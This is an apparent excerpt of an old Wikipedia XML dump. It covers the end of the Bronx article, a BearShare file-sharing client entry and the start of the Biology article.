The Bronx's attractions include [[Yankee Stadium]], home of the [[New York Yankees]] baseball club of the American League; the [[Bronx Zoo]], [[Bronx High School of Science]], [[DeWitt Clinton High School]], [[Morris Park]], the [[New York Botanical Garden]], [[Wave Hill (New York)|Wave Hill]], [[Little Italy of the Bronx|Little Italy]] on [[Arthur Avenue]], [[Walton High School (New York City)|Walton High School]], [[Fordham University]] and [[Manhattan College]]. It includes two of the largest parks in NYC, [[Pelham Bay Park]] and [[Van Cortlandt Park]].  Pelham Bay Park also has a large man made public beach called [[Orchard Beach, New York|Orchard Beach]] created by [[Robert Moses]].

The Bronx also has The [[Hall of Fame for Great Americans]]: a national landmark which overlooks the [[Harlem River|Harlem]] and [[Hudson River]]s. It was designed by the renowned architect [[Stanford White]].

The Bronx is also the only Borough that has a freshwater river (the [[Bronx River]]) running through it. A smaller river, the [[Hutchinson River (New York)|Hutchinson River]], passes through the northeast Bronx to empty into [[Eastchester Bay]].

[[Woodlawn Cemetery]] is one of the largest cemeteries in New York City. Opened in 1863, at a time when The Bronx was still considered as being out in &quot;the country.&quot; Built on gentle, rolling hills, its tree-lined roads provide a beautiful setting in today's bustling city.

The [[Edgar Allan Poe]] Cottage, the Bronx, New York.
Edgar Allan Poe spent the last years of his life, from 1846 to 1849, in The Bronx at Poe Cottage, now located at Kingsbridge Road and the [[Grand Concourse]]. A small wooden farmhouse built about 1812, the cottage once commanded unobstructed vistas over the rolling Bronx hills to the shores of Long Island. 

The Bronx now has the distinction of being the Birthplace of [[Hip-hop music]], circa 1973.

Though it has a great deal of attractions, the Bronx is known for being particularly &quot;anti-tourist&quot;, not so much in the sense of hostility to outsiders but insofar as its reputation nationally keeps tourists to New York as far from the borough as possible. This characteristic is actually what many in the New York area actually enjoy about visiting the Bronx; it has been claimed that the Little Italy on Arthur Avenue is more authentic than the more famous Little Italy in Manhattan on Mulberry Street.

==Famous Bronxites==
Famous people who resided in The Bronx at some time in their lives include: [[Danny Aiello]], [[Sholom Aleichem]], [[Woody Allen]], [[June Allyson]], [[Christopher Aponte]], [[Anne Bancroft]], [[David Berkowitz]], [[Joey Bishop]], [[Mary J. Blige]],  [[Red Buttons]], [[James Caan]], [[George Carlin]], [[Diahann Carroll]], [[Paddy Chayefsky]], [[Tony Curtis]], [[Lauren Conrad]], [[Cus D'Amato]], [[Bobby Darin]], [[Gray Davis]], [[Don DeLillo]], [[Art Donovan]], [[Chris Eubank]], [[Ace Frehley]], [[Lou Gehrig]], [[Stan Getz]], [[Marty Glickman]], [[Cuba Gooding Jr.]], [[John Gotti]], [[Hank Greenberg]], [[Fat Joe]], [[Billy Joel]], [[Helen Kane]], [[Max Kellerman]], [[Felix Lugo]], [[Afrika Bambaataa]], [[Edward Koch]], [[Stanley Kubrick]], [[Fiorello La Guardia]], [[Jake LaMotta]], [[Ralph Lauren]], [[Miles Marshall Lewis]], [[Tom Leykis]], [[Jennifer Lopez]], [[Linda Lovelace]], [[Sonia Manzano]], [[Garry Marshall]], [[Penny Marshall]], [[Sal Mineo]], [[Laura Nyro]], [[Carroll O'Connor]], [[KRS One]], [[Grandmaster Flash]], [[Grandmaster Melle Mel]], [[Grand Wizard Theodore]], [[Grandmaster Caz]], [[Kool Herc]], [[Jerry Orbach]], [[Al Pacino]], [[Justin Pierce]], [[Regis Philbin]], [[Edgar Allan Poe]], [[Chaim Potok]], [[Colin Powell]], [[Tito Puente]], [[Big Pun]], [[Carl Reiner]], [[Vin Scully]], [[Tupac Shakur]], [[Carly Simon]], [[Neil Simon]], [[Elliot Spitzer]], [[Lionel Stander]], [[Vanessa Lynn Williams|Vanessa Williams]], [[Kool Keith]].

==Law and government==
{|  align=&quot;right&quot; border=&quot;2&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin: 1em 1em 1em 0; border: 1px #aaa solid; border-collapse: collapse; font-size: 95%;&quot;
|- bgcolor=lightgrey
! Year
! [[GOP]]
! [[Democratic Party (United States)|Dems]]
|-
|align=&quot;center&quot; bgcolor=&quot;#f0f0ff&quot;|[[U.S. presidential election, 2004|2004]]
|align=&quot;center&quot; bgcolor=&quot;#fff3f3&quot;|16.5% ''56,701
|align=&quot;center&quot; bgcolor=&quot;#f0f0ff&quot;|'''82.8%''' ''283,994
|-
|align=&quot;center&quot; bgcolor=&quot;#f0f0ff&quot;|[[U.S. presidential election, 2000|2000]]
|align=&quot;center&quot; bgcolor=&quot;#fff3f3&quot;|11.8% ''36,245
|align=&quot;center&quot; bgcolor=&quot;#f0f0ff&quot;|'''86.3%''' ''265,801
|-
|align=&quot;center&quot; bgcolor=&quot;#f0f0ff&quot;|[[U.S. presidential election, 1996|1996]]
|align=&quot;center&quot; bgcolor=&quot;#fff3f3&quot;|10.5% ''30,435
|align=&quot;center&quot; bgcolor=&quot;#f0f0ff&quot;|'''85.8%''' ''248,276
|-
|align=&quot;center&quot; bgcolor=&quot;#f0f0ff&quot;|[[U.S. presidential election, 1992|1992]]
|align=&quot;center&quot; bgcolor=&quot;#fff3f3&quot;|20.7% ''63,310
|align=&quot;center&quot; bgcolor=&quot;#f0f0ff&quot;|'''73.7%''' ''225,038
|-
|align=&quot;center&quot; bgcolor=&quot;#f0f0ff&quot;|[[U.S. presidential election, 1988|1988]]
|align=&quot;center&quot; bgcolor=&quot;#fff3f3&quot;|25.5% ''76,043
|align=&quot;center&quot; bgcolor=&quot;#f0f0ff&quot;|'''73.2%''' ''218,245
|-
|align=&quot;center&quot; bgcolor=&quot;#f0f0ff&quot;|[[U.S. presidential election, 1984|1984]]
|align=&quot;center&quot; bgcolor=&quot;#fff3f3&quot;|32.8% ''109,308
|align=&quot;center&quot; bgcolor=&quot;#f0f0ff&quot;|'''66.9%''' ''223,112
|-
|align=&quot;center&quot; bgcolor=&quot;#f0f0ff&quot;|[[U.S. presidential election, 1980|1980]]
|align=&quot;center&quot; bgcolor=&quot;#fff3f3&quot;|30.7% ''86,843
|align=&quot;center&quot; bgcolor=&quot;#f0f0ff&quot;|'''64.0%''' ''181,090
|-
|align=&quot;center&quot; bgcolor=&quot;#f0f0ff&quot;|[[U.S. presidential election, 1976|1976]]
|align=&quot;center&quot; bgcolor=&quot;#fff3f3&quot;|28.7% ''96,842
|align=&quot;center&quot; bgcolor=&quot;#f0f0ff&quot;|'''70.8%''' ''238,786
|-
|align=&quot;center&quot; bgcolor=&quot;#f0f0ff&quot;|[[U.S. presidential election, 1972|1972]]
|align=&quot;center&quot; bgcolor=&quot;#fff3f3&quot;|44.6% ''196,756
|align=&quot;center&quot; bgcolor=&quot;#f0f0ff&quot;|'''55.2%''' ''243,345
|-
|align=&quot;center&quot; bgcolor=&quot;#f0f0ff&quot;|[[U.S. presidential election, 1968|1968]]
|align=&quot;center&quot; bgcolor=&quot;#fff3f3&quot;|32.0% ''142,314
|align=&quot;center&quot; bgcolor=&quot;#f0f0ff&quot;|'''62.4%''' ''277,385
|-
|align=&quot;center&quot; bgcolor=&quot;#f0f0ff&quot;|[[U.S. presidential election, 1964|1964]]
|align=&quot;center&quot; bgcolor=&quot;#fff3f3&quot;|25.2% ''135,780
|align=&quot;center&quot; bgcolor=&quot;#f0f0ff&quot;|'''74.7%''' ''403,014
|-
|align=&quot;center&quot; bgcolor=&quot;#f0f0ff&quot;|[[U.S. presidential election, 1960|1960]]
|align=&quot;center&quot; bgcolor=&quot;#fff3f3&quot;|31.8% ''182,393
|align=&quot;center&quot; bgcolor=&quot;#f0f0ff&quot;|'''67.9%''' ''389,818

|}
Like the other counties which are contained within New York City, the Bronx is nominally presided over by a borough president.  The borough is also served by various county [[Court (judicial)|courts]], as well as a district attorney (public prosecutor).

==Geography==
As a part of New York City, Bronx County contains no other political subdivisions. It is located at 40&amp;deg;42'15&quot; North, 73&amp;deg;55'5&quot; West (40.704234, -73.917927){{GR|1}}.

According to the [[United States Census Bureau]], the borough has a total area of 148.7 [[square kilometre|km&amp;sup2;]] (57.4 [[square mile|mi&amp;sup2;]]).  108.9 km&amp;sup2; (42.0 mi&amp;sup2;) of it is land and 39.9 km&amp;sup2; (15.4 mi&amp;sup2;) of it is water.  The total area is 26.82% water.

The Bronx has four large low peninsulas or &quot;necks&quot; of low-lying land that jut into the waters of the East River and were once saltmarsh: Hunt's Point, Clason's Point, Screvin's Neck and Throg's Neck. In the northeast corner of the Bronx, [[Rodman's Neck]] lies in Long Island Sound.

[[Image:E_200_st007.jpg|thumb|A store awning on the assumed 200th Street]]

==Street Layout==
Many of the Bronx's streets are numbered, but unlike the street numbering systems in [[Brooklyn]] and [[Queens]], the Bronx's system is a continuation of the [[Manhattan]] street grid.  Because of this, the lowest numbered street in the borough is 132nd Street in the South Bronx, and the highest is 263rd Street in the Riverdale section.  The numbered street grid is far from perfect as some numbers are just skipped altogether in Riverdale; other neighborhoods have no numbered streets at all. 

As in Manhattan, 200th Street is also missing, since it was renamed Bedford Park Boulevard in 1906 (although many local businesses, people and other places have continued to call it 200th Street since the renaming [like the New York Botanical Garden] and the USPS recognizes E 200 ST addresses as an alternative address). 

In Manhattan, there was never a &quot;200th Street&quot; until the Independent Subway System (IND) used numeric tiling in the Dyckman Street station calling it 200th Street (or DYCKMAN-200TH ST). This unofficially designated Dyckman Street as &quot;200th Street&quot; (the USPS somehow also recognizes W 200 ST addresses even though it never existed officially). In addition, some north-south thoroughfares also continue from Manhattan into the Bronx; examples include Third Avenue &amp;mdash; above which a famous elevated line once ran (in Manhattan until [[1955]] and in the Bronx until [[1973]]) &amp;mdash; Park Avenue, and Broadway. Other major roads, such as the [[Grand Concourse]] and Fordham Road are located only in the Bronx.  Like Manhattan, the streets are designated either &quot;East&quot; or &quot;West,&quot; with the divider being Jerome Avenue (the divider in Manhattan is Fifth Avenue).

The two boroughs also formerly shared the same [[ZIP Code|Postal Code]] format, as mail addressed to either bore the designation &quot;New York XX, New York,&quot; with a one- or two-digit number between the two &quot;New Yorks&quot; (the number was from 1 to 49 for Manhattan addresses and 50 or higher for the Bronx). When five-digit ZIP Codes replaced the postal codes in [[1963]], the Bronx was assigned the three-digit prefix &quot;104&quot; while Manhattan got &quot;100&quot; (Manhattan later added &quot;101&quot; and &quot;102&quot;). 

Numerous [[New York City Subway|subway]] lines run through the Bronx, many of them above ground. In addition, three [[Metro-North Railroad]] commuter railroad lines run through the Bronx. The borough has 12 Metro North stations.

Three major expressways crisscross the Bronx: The [[Major Deegan Expressway]], which runs along the western edge of the Harlem River, the [[Bruckner Expressway]], which runs through the eastern part of the borough, and the [[Cross Bronx Expressway]], which crosses the borough's south-central section and serves as a major connection to the [[George Washington Bridge]].
{{seealso|Transportation in New York City}}

==Neighborhoods==
See [[List of Bronx neighborhoods]] for a comprehensive listing of the Bronx's various neighborhoods and their descriptions.

The borough is politically divided into 12 community boards :

*[[Bronx Community Board 1|1]] : Mott Haven, Port Morris, and Melrose 
*[[Bronx Community Board 2|2]] : Hunts Point, Longwood, and Morrisania
*[[Bronx Community Board 3|3]] : Crotona Park, Claremont Village, Concourse Village, Woodstock, and Morrisania
*[[Bronx Community Board 4|4]] : Highbridge, Concourse, Mount Eden, and Concourse Village
*[[Bronx Community Board 5|5]] : Fordham, University Heights, Morris Heights, Bathgate, and Mount Hope
*[[Bronx Community Board 6|6]] : Belmont, Bathgate, West Farms, East Tremont, and Bronx Park South 
*[[Bronx Community Board 7|7]] : Norwood, University Heights, Jerome Park, Bedford Park, Fordham, and Kingsbridge Heights
*[[Bronx Community Board 8|8]] : Riverdale, Spuyten Duyvil, Van Cortlandt Village, Kingsbridge, Kingsbridge Heights, Fieldston, and Marble Hill
*[[Bronx Community Board 9|9]] : Parkchester, Unionport, Soundview, Castle Hill, Bruckner, Harding Park, Bronx River and Clason Point
*[[Bronx Community Board 10|10]] : Co-op City, City Island, Spencer Estates, Throgs Neck, Country Club, Zerega, Westchester Square, Pelham Bay, Eastchester Bay, Schuylerville, Edgewater, Locust Point, and Silver Beach
*[[Bronx Community Board 11|11]] : Morris Park, Pelham Parkway, Pelham Gardens, Allerton, Bronxdale, Laconia, and Van Nest
*[[Bronx Community Board 12|12]] : Edenwald, Wakefield, Williamsbridge, Woodlawn, Fish Bay, Eastchester, Olinville, and Baychester

==Demographics==
{| border=&quot;2&quot; cellpadding=&quot;4&quot; align=&quot;right&quot; cellspacing=&quot;0&quot; style=&quot;margin: 1em 1em 1em 0; border: 1px #aaa solid; border-collapse: collapse; font-size: 95%;&quot;
|align=center colspan=2| '''Bronx &lt;br&gt;Population by year'''
|-
| align=center |
[[1900]] - (nc) &lt;br&gt;
[[1910]] -  (nc) &lt;br&gt;
[[1920]] -   732,016 &lt;br&gt;
[[1930]] - 1,265,258 &lt;br&gt;
[[1940]] - 1,394,711 &lt;br&gt;
[[1950]] - 1,451,277 &lt;br&gt;
[[1960]] - 1,424,815 &lt;br&gt;
[[1970]] - 1,471,701 &lt;br&gt;
[[1980]] - 1,168,972 &lt;br&gt;
[[1990]] - 1,203,789 &lt;br&gt;
[[2000]] - 1,332,650
|}

As of the [[census]]{{GR|2}} of [[2000]], there are 1,332,650 people, 463,212 households, and 314,984 families residing in the borough.  The [[population density]] is 12,242.2/km&amp;sup2; (31,709.3/mi&amp;sup2;).  There are 490,659 housing units at an average density of 4,507.4/km&amp;sup2; (11,674.8/mi&amp;sup2;).  The racial makeup of the borough is 29.87% [[White (U.S. Census)|White]], 35.64% [[African American (U.S. Census)|Black]] or [[Race (U.S. Census)|African American]], 0.85% [[Native American (U.S. Census)|Native American]], 3.01% [[Asian American|Asian]], 0.10% [[Pacific Islander (U.S. Census)|Pacific Islander]], 24.74% from [[Race (U.S. Census)|other races]], and 5.78% from two or more races.  48.38% of the population are [[Hispanic American|Hispanic]] or [[Latino (U.S. Census)|Latino]] of any race. 14.5% of the population are Whites, not of Hispanic origins.

Based on sample data from the same census, the U.S. Census Bureau estimates that 47.29% of the population 5 and over speak only [[English language|English]] at home. 43.67% speak Spanish at home, either exclusively or along with English. Other languages or groups of languages spoken at home by more than 0.25% of the population of the Bronx include [[Italian language|Italian]] (1.36%), [[Kru language|Kru]], [[Ibo language|Ibo]], or [[Yoruba language|Yoruba]] (1.07%), [[French language|French]] (0.72%), and [[Albanian language|Albanian]] (0.54%).

Some main European ancestries of Bronx residents, 2000 (percentage of total borough population): 
*[[Italian American|Italian]] : 5.67%
*[[Irish American|Irish]] : 3.69%
*[[German American|German]] : 1.50% 
*[[British American|English]] : 0.53% 

According to an estimate by the Census Bureau, the population increased to 1,365,536 in 2004.

There are 463,212 households out of which 38.1% have children under the age of 18 living with them, 31.4% are [[Marriage|married couples]] living together, 30.4% have a female householder with no husband present, and 32.0% are non-families. 27.4% of all households are made up of individuals and 9.4% have someone living alone who is 65 years of age or older.  The average household size is 2.78 and the average family size is 3.37.

In the borough the population is spread out with 29.8% under the age of 18, 10.6% from 18 to 24, 30.7% from 25 to 44, 18.8% from 45 to 64, and 10.1% who are 65 years of age or older.  The median age is 31 years.  For every 100 females there are 87.0 males.  For every 100 females age 18 and over, there are 80.7 males.

The median income for a household in the borough is $27,611, and the median income for a family is $30,682. Males have a median income of $31,178 versus $29,429 for females. The [[per capita income]] for the borough is $13,959.  30.7% of the population and 28.0% of families are below the [[poverty line]].  Out of the total population, 41.5% of those under the age of 18 and 21.3% of those 65 and older are living below the poverty line.

Despite the stereotype that The Bronx is a typical poor urban area of New York City, it is not necessarily true of the entire borough, or even a majority of it. The Bronx has much affordable housing (as compared to most of the rest of the [[New York metropolitan area]], as well as upscale neighborhoods like [[Riverdale, Bronx, New York|Riverdale]], [[Throgs Neck]], Pelham Bay, and [[Country Club, Bronx, New York|Country Club]].)

== Trivia ==
* In 1997, the Bronx was designated an &quot;[[All-America City Award|All America City]]&quot; by the [[National Civic Council]].  
* The [[Bronx cheer]] and a popular cocktail were both named after this borough.  
* &quot;Bronx&quot; has become synonymous with violent or messy areas. For instance, in casual French, &quot;''c'est le Bronx''&quot; stands for &quot;what a mess.&quot;
* '''Bronx''' is also the name of a character on the [[The Walt Disney Company|Walt Disney]] [[animated series]] ''[[Gargoyles (animated series)|Gargoyles]]'' (named after the borough).
* The wave of arson in the South Bronx launched the phrase &quot;The Bronx is burning,&quot; in [[1974]], as a title of both a ''[[New York Times]]'' editorial and a [[BBC]] documentary. However, the line entered the pop-consciousness with Game 2 of the [[1977 World Series]], when a fire broke out near Yankee Stadium as the team was playing the [[Los Angeles Dodgers]]. As the fire was captured on live television, announcer [[Howard Cosell]] intoned, &quot;There it is ladies and gentlemen: The Bronx is burning.&quot; Historians of New York City frequently point to Cosell's remark as a sign of both the city and the borough's descent into anarchy.
* The Bronx is referred to in [[hip-hop]] slang as &quot;The Boogie Down Bx,&quot; or just &quot;The Boogie Down.&quot;
* In the [[1979]] film &quot;[[The Warriors]]&quot;, the eponymous gang go to a meet in [[Van Cortlandt Park]] in The Bronx, and have to make their way back to Coney Island. The [[2005]] [[The Warriors (video game)|video game adaptation]] features levels called Pelham, Tremont and &quot;Gunhill&quot; (an apparent corruption of Gun Hill Road).
* Likewise, the [[1981]] film ''[[Fort Apache the Bronx]]'' portrayed the Bronx as a gang-filled, crime-ridden area. The film takes its title from the nickname for the 41st Police Precinct in the South Bronx. Both the film and the precinct were condemned by community members for condoning police brutality, and ex-[[Young Lords Party|Young Lord]] and [[Puerto Rico|Puerto Rican]] activist Richie Perez formed the group The Committee Against Fort Apache.

== See also ==
* [[New York City Fire Department#Bronx firefighters|New York City Fire Department &gt; Bronx firefighters]]
*[[Jonas Bronck|Jonas Jonson Bronk]]
*[[March 25]], [[1990]], [[Happyland Fire]] at the [[Happy Land Social Club]]

==External links== 
*[http://www.innercitypress.org/bxreport.html Weekly Bronx Report from Inner City Press]
*[http://www.ilovethebronx.com/ I Love The Bronx]
*[http://www.lehman.edu/deannss/bronxdatactr/discover/bxtext.htm Discovering The Bronx]
*[http://www.mta.nyc.ny.us/nyct/maps/busbx.pdf NYC MTA Transit Bus Map of The Bronx] 
*[http://www.longislandexchange.com/population/bronxcounty-population.html Bronx population]
([[Portable Document Format|pdf]] file)
*[http://www.ancestry.com/library/view/ancmag/762.asp The Bronx: A Swedish Connection]
*[http://bronxriver.org/ The Bronx River Alliance]
*[http://bronxzoo.com/ The Bronx Zoo]
*[http://www.nybg.org/ The New York Botanical Garden]
*[http://www.bronxriverart.org/ Bronx River Art Center]
*[http://www.forgotten-ny.com/ Forgotten New York: Relics of a Rich History in the Everyday Life of New York City]
*Woodlawn Cemetery [http://www.thewoodlawncemetery.org/]
*[http://www.wavehill.org/home/ Wave Hill: New York Public Garden and Cultural Center]
*[http://perrin.olivier.free.fr/new_york_2005/Wave%20Hill%20(Bronx)/index.html  Newyork-evasion gallery of photographs of Wave Hill]
*[http://www.bronxhistoricalsociety.org/index86.html The Bronx County Historical Society]
*[http://www.straightdope.com/classics/a2_248.html Why is the Bronx called THE Bronx?] from [[The Straight Dope]]
*Poe Cottage [http://www.museumregister.com/US/NewYork/Bronx/Fordham/PoeCottage.html]
*[http://200thstreet.tripod.com More about 200th Street/Bedford Park Boulevard]
*[http://www.pbase.com/terryballard/the_bronx Bronx photo gallery]
*[http://newyorkbirds.free.fr/bronx/index.php air visit of all the districts of bronx in photographs]

{{Mapit-US-cityscale|40.8373|-73.8860}}

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[[Category:All-America City]]
[[Category:Boroughs in New York|Bronx]]
[[Category:New York City|Bronx]]
[[Category:The Bronx| ]]
[[Category:New York counties|Bronx County, New York]]

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    <revision>
      <id>15901681</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Business statistics]]
</text>
    </revision>
  </page>
  <page>
    <title>BearShare</title>
    <id>3340</id>
    <revision>
      <id>41771818</id>
      <timestamp>2006-03-01T17:09:09Z</timestamp>
      <contributor>
        <ip>80.39.139.31</ip>
      </contributor>
      <text xml:space="preserve">{{Infobox_Software |
  name = BearShare |
  screenshot = [[Image:BearShare_search_screenshot.png|250px]] |
  caption = BearShare's search interface |
  developer = Free Peers, Inc. |
  latest_release_version = 5.2.1 |
  latest_release_date = February 2006 |
  operating_system = [[Microsoft Windows|Windows]] |
  genre = [[peer to peer]] |
  license = [[Proprietary software]] |
  website = [http://www.bearshare.com www.bearshare.com] |
}}
'''BearShare''' is a popular [[closed source]] [[Gnutella]] client software package from Free Peers, Inc. The software allows its users to share files directly from person to person by using the Gnutella network. It runs under [[Microsoft Windows]] and comes in several versions, including an advertising supported version, a paid pro version with no advertisements, and a Lite (stripped down) free version. The advertising supported version contains [[spyware]] ([http://en.wikipedia.org/wiki/Spyware#Notable_programs_distributed_with_spyware], but this may be removed with Norton Antivirus.

When it comes to Gnutella clients and participation in the [[Gnutella Developers Forum]] (GDF), BearShare is seen as one of the forerunners alongside [[LimeWire]] due to its wide implementation of GDF proposals and stable networking.

There is bad blood between Free Peers and the developer of [[Shareaza]], [[Michael Stokes]] for naming the network his client introduced [[Gnutella2]], without asking or making any note of it in the GDF. [[Vincent Falco]], main developer of BearShare, threatened to ban connections to Shareaza clients for this action. It should be noted that Gnutella2's specifications were quickly released in full, and Shareaza has since been released under the [[GNU GPL]].

Following the [[June 27]], [[2005]] [[Supreme Court of the United States|United States Supreme Court]] Decision on the [[MGM Studios, Inc. v. Grokster, Ltd.]] case the BearShare support forums have been closed. Most of the forum regulars have gone across to the [http://www.technutopia.com/forum/index.php? Technutopia] forum pages where support is now available for BearShare.

==See also==
*[[Peer-to-peer]] - p2p protocols and clients

==External links==
*[http://www.bearshare.com/ BearShare Official Website] '''Caution: Certain downloads from this website contain adware.'''
*[http://www.mp3newswire.net/stories/2001/bearshare.html Early Review (2001): BearShare]

[[Category:File sharing programs]]
[[Category:Windows software]]

[[da:Bearshare]]
[[de:BearShare]]
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    </revision>
  </page>
  <page>
    <title>Biology</title>
    <id>3341</id>
    <revision>
      <id>42018085</id>
      <timestamp>2006-03-03T06:26:37Z</timestamp>
      <contributor>
        <username>Brett Wildfeuer</username>
        <id>161745</id>
      </contributor>
      <minor />
      <comment>Reverted Vandalism</comment>
      <text xml:space="preserve">&lt;!--
''What are our priorities for writing in this area?  To help develop a list of the most basic topics in biology, please see [[Wikipedia:biology basic topics]].''
--&gt;
{{portal}}

''Biology'' is the branch of [[science]] dealing with the study of [[life]]. It is concerned with the characteristics, [[scientific classification|classification]], and [[behavior]]s of [[organism]]s, how [[species]] come into existence, and the interactions they have with each other and with the [[natural environment|environment]]. Biology encompasses a broad spectrum of academic fields that are often viewed as independent disciplines. However, together they address phenomena related to living organisms (biological phenomena) over a wide range of scales, from [[biochemistry]] to [[ecology]]. 

&lt;div class=&quot;thumb tright&quot; style=&quot;background-color: #f9f9f9; border: 1px solid #CCCCCC; margin:0.5em;&quot;&gt;
{| border=&quot;0&quot; cellpadding=&quot;10&quot; cellspacing=&quot;0&quot; style=&quot;font-size: 85%; border: 1px solid #CCCCCC; margin: 0.3em;&quot;
|valign=&quot;top&quot;|[[Image:EscherichiaColi NIAID.jpg|90px|''Escherichia coli'']]
|valign=&quot;top&quot;|[[Image:Tree_Fern.jpg|90px|Tree fern]]
|-
|valign=&quot;bottom&quot;|[[Image:Goliath_beetle.jpg|90px|Goliath beetle]]
|valign=&quot;bottom&quot;|[[Image:Thompson's_Gazelle.jpeg|90px|Gazelle]]
|}
&lt;div style=&quot;border: none; width:200px;&quot;&gt;&lt;div class=&quot;thumbcaption&quot;&gt;Biology studies the variety of life ''(clockwise from top-left)'' ''[[E. coli]]'', tree [[fern]], [[gazelle]], Goliath [[beetle]]&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;

At the organism level, biology has explained phenomena such as [[childbirth|birth]], [[growth]], [[ageing]], [[death]] and [[decomposition|decay]] of living organisms, similarities between the offsprings and parents ([[heredity]]) and flowering of plants have puzzled humanity ever since antiquity. Other phenomena, such as [[lactation]], [[metamorphosis]], [[Egg (biology)|egg-hatching]], [[healing]], and [[tropism]] have been addressed. On a wider scale of time and space, biologists have studied [[domestication]] of animals and plants, the wide variety of living organisms ([[biodiversity]]), changes in living organisms through ages ([[evolution]]), [[extinction]], [[speciation]], [[social behaviour]] among animals, etc.

While [[botany]] encompasses the study of plants, [[zoology]] is the branch of science that is concerned about the study of animals and [[anthropology]] is the branch of biology to study human beings. However, at the [[molecule|molecular]] scale, life is studied in the disciplines of [[molecular biology]], [[biochemistry]], and [[molecular genetics]]. At the next level of the [[cell (biology)|cell]], it is studied in [[cell biology]], and at [[multicellular]] scales, it is examined in  [[physiology]], [[anatomy]], and [[histology]]. [[Developmental biology]] studies life at the level of an individual organism's development or [[ontogeny]].  Moving up the scale towards more than one organism, [[genetics]] considers how [[heredity]] works between parent and offspring.  [[Ethology]] considers group behavior of more than one individual. [[Population genetics]] looks at the level of an entire [[population]], and [[systematics]] considers  the multi-species scale of [[lineage]]s.  Interdependent populations and their [[Habitat (ecology)|habitats]] are examined in [[ecology]] and [[evolutionary biology]].  A speculative new field is [[astrobiology]] (or xenobiology), which examines the possibility of life beyond the Earth.

==Principles of biology==
Unlike [[physics]], biology does not usually describe systems in terms of objects which obey immutable physical laws described by [[mathematics]]. Nevertheless, the biological sciences are characterized and unified by several major underlying principles and concepts: universality, evolution, diversity, continuity, genetics, homeostasis, and interactions.

=== Universality: Biochemistry, cells, and the genetic code ===
[[Image:DNA-structure-and-bases.png|thumb|Schematic representation of [[DNA]], the primary [[genetic material]].]]

''Main article:'' [[Life]]

The most salient example of biological universality is that all
living things share a common [[carbon]]-[[Carbon-based|based]] [[biochemistry]] and in particular pass on their [[heredity|characteristics]] via [[genetic material]], which is based on [[nucleic acid]]s such as [[DNA]] and which uses a common [[genetic code]] with only minor variations. 

Another universal principle is that all [[organism]]s (that is, all forms of life on Earth except for [[virus]]es) are made of [[cell (biology)|cell]]s. Similarly, all organisms share common developmental processes. For example, in most [[metazoan]] organisms, the basic stages of early [[embryo|embryonic]] development share similar morphological characteristics and include similar [[gene]]s.

=== Evolution: The central principle of biology ===
''Main article:'' [[Evolution]]

The central organizing concept in biology is that all life has a common origin and has changed and developed through the process of [[evolution]] (see [[Common descent]]). This has led to the striking similarity of units and processes discussed in the previous section.  [[Charles Darwin]] established evolution as a viable theory by articulating its driving force, [[natural selection]] ([[Alfred Russell Wallace]] is recognized as the co-discoverer of this concept).  [[Genetic drift]] was embraced as an additional mechanism of evolutionary development in the [[modern synthesis]] of the theory. 

The evolutionary history of a [[species]]&amp;mdash; which describes the characteristics of the various species from which it descended&amp;mdash; together with its genealogical relationship to every other species is called its [[phylogeny]].  Widely varied approaches to biology generate information about phylogeny. These include the comparisons of [[DNA sequence]]s conducted within [[molecular biology]] or [[genomics]], and comparisons of [[fossil]]s or other records of ancient organisms in [[paleontology]]. Biologists organize and analyze evolutionary relationships through various methods, including [[phylogenetics]], [[phenetics]], and [[cladistics]] (The major events in the evolution of life, as biologists currently understand them, are summarized on this [[evolutionary timeline]]).

=== Diversity: The variety of living organisms ===
[[image:PhylogeneticTree.jpg|thumb|340px|A [[phylogenetic tree]] of [[evolutionary tree|all living things]], based on [[rRNA]] [[gene]] data, showing the separation of the three domains [[bacterium|bacteria]], [[archaea]], and [[eukaryote]]s as described initially by [[Carl Woese]].  Trees constructed with other genes are generally similar, although they may place some early-branching groups very differently, presumably owing to rapid rRNA evolution.  The exact relationships of the three domains are still being debated.]]

Despite its underlying unity, life exhibits an astonishingly wide diversity in [[Morphology (biology)|morphology]], [[behavior]], and [[life history|life histories]].  In order to grapple with this diversity, biologists attempt to classify all living things.  Scientific classification seeks to reflect the evolutionary trees ([[phylogenetic tree]]s) of the organism being classified.  Classification is the province of the disciplines of [[systematics]] and [[taxonomy]].   Taxonomy places organisms in groups called [[taxa]], while systematics seeks to define their relationships with each other. This clasification technique has evolved to reflect advances in [[cladistics]] and [[genetics]], shifting the focus from physical similarities and shared characteristics to [[phylogenetics]].

Traditionally, living things have been divided into five kingdoms:

:[[Monera]] -- [[Protist]]a -- [[Fungi]] -- [[Plant|Plantae]] -- [[Animal|Animalia]] 

However, many scientists now consider this five-kingdom system to be outdated. Modern alternative classification systems generally begin with the [[three-domain system]]:

:[[Archaea]] (originally Archaebacteria) -- [[Bacterium|Bacteria]] (originally Eubacteria) -- [[Eukaryote|Eukaryota]]

These domains reflect whether the cells have nuclei or not, as well as differences in the cell exteriors.  

Further, each kingdom is broken down continuously until each species is seperately classified. The order is 1)Kingdom, 2)Phylum, 3)Class, 4)Order, 5)Family, 6)Genus, 7)Species. The scientific name of an organism is obtained from its Genus and Species. For example, humans would be listed as ''Homo sapien''. Homo would be the Genus and Sapien is the species. Whenever writing the scientific name of an organism it is proper to capitalize the first letter in the genus and all of the species is lowercase; in addition the entire term would be put in italics. The term used for classification is called Taxonomy.

There is also a series of intracellular [[parasite]]s that are progressively &quot;less alive&quot; in terms of [[metabolism|metabolic]] activity:

:[[virus (biology)|Viruses]] -- [[Viroid]]s -- [[Prion]]s

===Continuity: The common descent of life===
''Main article:'' [[Common descent]]

Up into the [[19th century]], it was commonly believed that life forms could appear spontaneously under certain conditions (see [[abiogenesis]]).  This misconception was challenged by [[William Harvey]]'s diction that &quot;all life [is] from [an] egg&quot; (from the [[Latin]] &quot;[[Omne vivum ex ovo]]&quot;), a foundational concept of modern biology.   It simply means that there is an unbroken continuity of life from its initial origin to the present time.

